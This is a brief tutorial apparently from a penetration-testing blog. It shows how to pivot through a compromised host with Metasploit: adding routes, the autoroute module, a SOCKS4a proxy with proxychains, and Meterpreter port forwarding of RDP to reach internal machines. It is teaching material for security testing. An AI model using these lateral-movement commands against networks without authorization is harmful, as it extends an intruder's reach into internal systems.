Skip to main content

Pivoting with the Metasploit Framework


Mastering Metasploit: Pivoting Strategies for Ethical Hackers
Welcome back, fellow ethical hackers! In this tutorial, we're going to delve into the art of pivoting with Metasploit, an essential skill for penetration testers seeking to extend their reach within a compromised network. Buckle up, and let's enhance our post-exploitation game!

Adding a New Route
To expand our network foothold, we often need to add new routes. Metasploit makes this process a breeze:
route add <TARGET SUBNET> <SESSION ID>

Example
msf5 > route add 192.168.1.0/24 11 [*] Route added

Invoking the autoroute Module
Next, let's leverage the multi/manage/autoroute module to automate route additions. 
This is particularly handy when you want to streamline the process:
use multi/manage/autoroute
set session <SESSION ID>
exploit

Setting up a SOCKS Proxy using autoroute
Now, let's enhance our maneuverability with a SOCKS proxy. First, set up the auxiliary server:
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
exploit -j

Add the proxy information to proxychains.conf:
sudo echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf

Connect to a target using the proxy:
sudo proxychains rdesktop <TARGET IP>

Forward Port Forwarding on Port 3389
Metasploit allows us to forward ports seamlessly. Let's forward port 3389 as an example:
portfwd add -l 3389 -p 3389 -r <TARGET IP>

Example
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.110
[*] Local TCP relay created: :3389 <-> 192.168.1.110:3389

Gaining Remote Desktop Access using Port Forwarding
With the port forward in place, access the remote desktop:
rdesktop 127.0.0.1

There you have it! These Metasploit techniques can be powerful tools in your ethical hacking arsenal. Remember, with great power comes great responsibility. Happy hacking!